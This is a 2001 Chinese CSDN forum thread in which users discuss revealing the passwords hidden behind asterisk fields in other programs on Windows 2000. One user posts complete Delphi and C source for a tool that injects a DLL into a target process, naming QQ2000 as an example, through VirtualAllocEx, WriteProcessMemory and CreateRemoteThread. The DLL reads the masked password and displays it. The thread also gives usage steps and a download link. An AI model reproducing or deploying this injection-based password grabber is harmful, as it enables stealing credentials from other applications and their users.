CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
不看会后悔的Windows XP之经验谈 简单快捷DIY实用家庭影院
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  C++ Builder >  基础类

如何显示Win2000下密码框中的密码串?(源码剖析)

楼主QLSoft(鬼谷子)2001-10-15 13:20:42 在 C++ Builder / 基础类 提问

        小弟曾做过一个工具,显示Windows中密码框的密码串,它在Win98,WinMe,WinNT下工作正常,但在Win2000下则毫  
   
  无作用,源码如下:  
  function   TfrmMain.GetPassword(Sender:TObject):string;  
  var  
  hWnd:THandle;  
  lpCurPos:TPoint;  
  lntLen:Longint;  
  pchPass:pchar;  
  begin  
  GetCursorPos(lpCurPos);//获取当前鼠标位置  
  hWnd:=WindowFromPoint(Sender);//获取当前鼠标位置的窗口句柄  
  lntLen:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0);  
  //if   GetWindowLong(hWnd,GWL_STYLE)   and   ES_PASSWORD   <>   0   then //判断是否为密码框  
    begin  
      GetMem(pchPass,lntLen+1);  
      if   lntLen   >   0   then  
        SendMessage(hWnd,WM_GETTEXT,lntLen+1,Integer(pchPass));//获取密码串  
      Result:=String(pchPass);  
      FreeMem(pchPass,lntLen+1);  
    end;  
  end;  
   
  函数不能正常工作的原因,小弟推测是:  
  1,在密码框中显示的仍是密码的原文,不能显示的原因是Windows对发往密码框的“WM_GETTEXTLENGTH”进行了  
   
  过滤,或是Windows对密码框的构件进行了修改,不可能直接获取其标题内容;  
  2,在密码框中显示的是真正的“*”号,真正的密码原文被Windows转存到内存的别的地方.  
  ====================================================================================  
  就这么多了,请各位大侠指教! 问题点数:25、回复次数:25Top

1 楼QLSoft(鬼谷子)回复于 2001-10-16 08:42:11 得分 0

请各位大侠指教!Top

2 楼QLSoft(鬼谷子)回复于 2001-10-16 12:23:46 得分 0

是不是小弟的问题太Easy......  
  大侠们都不xie一顾!Top

3 楼cgxp(宁采臣)回复于 2001-10-16 12:38:06 得分 0

你自己试试过滤这个消息就知道了Top

4 楼Triumph(夜雨)回复于 2001-10-16 16:06:45 得分 0

用这样的方法当然不行,你没发现吗,WinNT和Win2000中的密码框中显示的*的个数都是一样的,而不管实际上有没有密码或密码的长度是多少。显然这是经过了一定的算法得出的。Top

5 楼hellion(恶人)回复于 2001-10-16 16:34:00 得分 0

2000做了判断消息是否由自己发送的Top

6 楼guipei(IMRAD(QQ:88598744))回复于 2001-10-16 17:00:12 得分 0

微软不会一直让人利用它的bug,要不他还活什么?Top

7 楼QLSoft(鬼谷子)回复于 2001-10-19 17:21:38 得分 0

多谢各位的指教!  
          to   hellion(恶人):我的程序能取得别的进程的非密码框的标题,同时,也不能得到本地进程的密码框标题,所以,还请指点迷津!!!  
          to   Triumph(无为):难道没有办法可以或可能达到目的吗???Top

8 楼berl(berl)回复于 2001-10-19 20:58:40 得分 0

比尔改了在2000下得不到.  
  我也做过密码探测器.Top

9 楼shellapi(shellapi)回复于 2001-10-20 09:28:42 得分 0

关注Top

10 楼njhhack(剑影)回复于 2001-10-20 09:46:10 得分 10

to   QLSoft(鬼谷子)  
  hellion(恶人)说的不错不过没提出解办法,本人来说一下  
  在win9x,nt下含有*****的密码框中的数据和文本框没什么两样,任何进程都可以得到他的内容  
  不过在win2000下,不行哟,因为那个死人bill看到这个问题的严重性后把ES_PASSSWORD属性的窗口的中WM_GETTEXT消息过滤了,只有进程本身的代码可以读他内容,   其他进程读一到他的内容哦:)  
  所在2000下你没法读到其他程序中******的内容,但可以读到自已程序中*******的内容哦,不信你试试啊,  
  针对bill的这个笨办法,我们就有对策了啊,2000不是只准进程自已可以读吗,好啊,那我就钻到他进程内部去,成为他进程的一部分,不就可以读到QQ2000中*******的内容了吗?  
  只是怎么钻进去呢:)  
  有好多方法,比如用全局钩子hook到qq2000中然后你的*.dll就成了qq2000的一个调用模块,你可以在*.dll读到qq2000中********的内容了哟,你还可以修改******这个密码框的属性让他变成普通文本框,这样就没有******显示了,是真正的密码了哟  
  当然在nt/2k下,你还能用CraeteRemoteThread方法进入qq2000内部,做同上面一样的操作,还有很多方法,不过本人不提供源码,免得大家做坏事,误人子弟,我可是很好的老师哟:)Top

11 楼hellion(恶人)回复于 2001-10-23 09:26:02 得分 0

谢谢njhhack(剑影)兄。  
  qq2000可以直接修改资源。  
  有些处理过的程序用这种方法也是没法取到的。Top

12 楼QLSoft(鬼谷子)回复于 2001-10-24 11:54:29 得分 0

多谢njhhack(剑影)兄的赐教!小弟近期正忙,没有回复您的来信,请谅解!!!  
  也多谢hellion(恶人)兄的赐教和各位朋友的关注.  
  小弟继续等候高手的指教......  
   
  Top

13 楼Richardw(真亦假|梦似幻-[瑞克])回复于 2001-10-24 13:40:54 得分 0

Study!!Top

14 楼pazee(耙子)(今年过年不收礼,收礼只收尿不湿)回复于 2001-10-24 13:43:23 得分 0

曾经看过这样的文章,的确是消息的问题,  
  我记得那个文章几行就解决了这个问题。  
  我去找找看!Top

15 楼pazee(耙子)(今年过年不收礼,收礼只收尿不湿)回复于 2001-10-24 14:00:43 得分 5

http://www.vchelp.net/source/submit/remote_src.htm  
   
  大家看这篇文章吧!Top

16 楼hantao(憨豆)回复于 2001-10-24 22:36:42 得分 0

upTop

17 楼hantao(憨豆)回复于 2001-10-24 22:39:16 得分 0

gzTop

18 楼njhhack(剑影)回复于 2001-10-25 12:14:24 得分 10

呵呵应大家强烈要求,本人贴出在2000下看密码框内********号的源码  
  欢迎和我交朋友:  
  e-mail:njhhack@21cn.com  
  oicq:10772919  
  主页:hotsky.363.net  
  ----------------说明----------------------------------------  
  本程序分两部分  
  pass2k.exe是运行的程序  
  dll01.dll是动态链库接库  
  因为delphi在动态链接库设计上有问题,所以本人用c语言来设计动态链接库dll01.dll  
  而用delphi来设计pass2k.exe  
   
  --------下面是主程序用Delphi3.0设计--------------------------  
  Program   Pass2K;  
  uses   windows,messages,sysutils;  
  var  
      wClass:       TWndClass;       //窗口类变量  
      Msg:             TMSG;                 //消息变量  
      hInst,Handle,hParent:thandle;  
      hLong:longint;  
      hPoint:TPOINT;  
  //  
  procedure   run2;  
  var  
      hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;  
      cb,pcb:dword;  
      pfnStartAddr,pszLibFileName,pszLibFileRemote:pchar;  
  begin  
      cb:=100;  
      GetWindowThreadProcessId(hParent,@dwRemoteProcessId);  
      hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);  
      getmem(pszLibFileName,cb);  
      strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'\dll01.dll'));  
      pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);  
      WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);  
      Freemem(pszLibFileName);  
      hkernel32:=GetModuleHandle('Kernel32.dll');  
      pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');  
      hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);  
      WaitForSingleObject(hRemoteThread,INFINITE);  
      TerminateThread(hRemoteThread,0);  
  end;  
  //这是主窗口的消息处理函数  
  function   WindowProc(hWnd,Msg,wParam,lParam:integer):Longint;   stdcall;  
  begin  
      Result:=DefWindowProc(hWnd,Msg,wParam,lParam);  
      case   Msg   of  
      WM_DESTROY:halt;  
      WM_TIMER:  
      begin  
          GetCursorPos(hPoint);  
          hParent:=WindowFromPoint(hPoint);  
          hLong:=GetWindowLong(hParent,GWL_STYLE);  
          if   (hLong   and   ES_PASSWORD)=ES_PASSWORD   then   run2;  
      end;  
      end;  
  end;  
  //  
  begin  
      hInst:=GetModuleHandle(nil);  
      with   wClass   do  
      begin  
          Style:=                   CS_PARENTDC;  
          hIcon:=                   LoadIcon(hInst,'MAINICON');  
          lpfnWndProc:=       @WindowProc;  
          hInstance:=           hInst;  
          hbrBackground:=   COLOR_BTNFACE+1;  
          lpszClassName:=   'MainHostClass';  
          hCursor:=               LoadCursor(0,IDC_ARROW);  
      end;  
      RegisterClass(wClass);  
      handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW   or   WS_VISIBLE,80,10,220,85,0,0,hInst,nil);  
      settimer(handle,0,200,NIL);  
      while(GetMessage(Msg,Handle,0,0))do  
      begin  
          TranslateMessage(Msg);  
          DispatchMessage(Msg);  
      end;  
  end.  
   
  --------下面是*.dll动态链接库,用lccwin32设计,vc++也行的哦---------------------  
   
  #include   <windows.h>  
  BOOL   WINAPI   __declspec(dllexport)   LibMain(HINSTANCE   hDLLInst,   DWORD   fdwReason,   LPVOID   lpvReserved)  
  {  
  POINT   hPoint;  
  HWND   hParent;  
  char   str[100];  
          switch   (fdwReason)  
          {  
                  case   DLL_PROCESS_ATTACH:  
  GetCursorPos(&hPoint);  
  hParent=WindowFromPoint(hPoint);  
  GetWindowText(hParent,str,100);  
  MessageBox(0,str,"",0);  
  FreeLibrary(hDLLInst);  
                          break;  
                  case   DLL_PROCESS_DETACH:  
                          break;  
                  case   DLL_THREAD_ATTACH:  
                          break;  
                  case   DLL_THREAD_DETACH:  
                          break;  
          }  
          return   TRUE;  
  }  
   
   
   
  Top

19 楼njhhack(剑影)回复于 2001-10-25 12:16:14 得分 0

呵呵顺便说一下啊,这个源码和程序在这里有得下哦  
  njhhack.freehomepages.com/pass2k.zip  
  Top

20 楼njhhack(剑影)回复于 2001-10-25 12:40:33 得分 0

说一下用法,先运行pass2k.exe  
  面后把mouse移到有**********的密码框,呵呵会弹出一个消息框,里面是看到的密码哟Top

21 楼heavyrain1234(请回答详细点,给分多多)回复于 2001-10-25 12:45:57 得分 0

thanksTop

22 楼juqiang(方枪枪(正在修炼伤心小箭))回复于 2001-10-25 14:52:08 得分 0

njhhack,可以交流一下吗?我也对这个问题很感兴趣。Top

23 楼qinzm(不归人)回复于 2001-10-25 15:13:47 得分 0

这只能显示一般的密码  
  2000的登录是经过特殊处理的  
  没作用Top

24 楼njhhack(剑影)回复于 2001-10-25 17:48:20 得分 0

当然得到2000登妹密码是不可能的Top

25 楼jbz(虚心求教)回复于 2002-07-15 01:10:07 得分 0

okTop

相关问题

  • 谁知道《STL 源码剖析》什么时候出?
  • 哪里有 STL源码剖析 中文版 一书?
  • 看了《STL源码剖析》做了个梦
  • 求黄忠诚《深入剖析ASP.NET组件设计》源码
  • 谁有《Delphi5企业级解决方案及应用剖析》的源码?
  • 初读<<c++源码剖析>>的一些疑问,请高手指教
  • 请大家谈谈对《C++ STL(中文版)》和《STL 源码剖析》的看法
  • 看了 《STL 源码剖析》有一句话不是很明白 望执教
  • ★★★送OICQ密码窃取器的源码(有文档)★★★
  • 求加密密码的简单源码。很简单,高分

关键词

  • .net
  • win2000
  • 密码
  • 源码
  • 内容
  • 消息
  • lntlen
  • njhhack
  • pchpass
  • hpoint

得分解答快速导航

  • 帖主:QLSoft
  • njhhack
  • pazee
  • njhhack

相关链接

  • CSDN Blog
  • 技术文档
  • 代码下载
  • 第二书店
  • 读书频道

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo